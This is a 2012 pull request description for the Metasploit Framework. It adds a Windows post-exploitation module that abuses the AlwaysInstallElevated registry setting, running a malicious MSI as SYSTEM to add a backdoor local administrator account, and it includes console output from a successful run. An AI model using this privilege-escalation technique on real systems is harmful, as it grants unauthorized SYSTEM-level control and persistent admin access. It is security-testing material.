rapid7/metasploit-framework — pull request #1090 by Meatballs1 (2012-11-21 21:29:11+00:00)
Title: Escalate Windows Post Module AlwaysInstallElevated Registry Key

This module checks that the AlwaysInstallElevated registry key is set for the local machine and the current user. If so it uploads and executes a malicious MSI which adds a new user to the local administrators group. The MSI runs under the privileges of SYSTEM.

The user can specify a custom MSI_FILE if they wish to generate an MSF payload and wrap it in an MSI. Whilst it would have been nice to create this as a Local exploit writing a library to create MSI files was a bit too much effort!

msf post(always_install_elevated) > rerun
[*] Reloading module...

[+] HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[+] HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[*] Uploading the MSI to C:\DOCUME~1\norm\LOCALS~1\Temp\GdAHLZPHPcCDr.msi ...
[*] Executing MSI...
[*] Verifying user created...

User name metasploit
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never

Password last set 11/21/2012 9:11 PM
Password expires Never
Password changeable 11/21/2012 9:11 PM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon Never

Logon hours allowed All

Local Group Memberships *Administrators *Users
Global Group memberships *None
The command completed successfully.

[*] Deleting MSI...
[*] Post module execution completed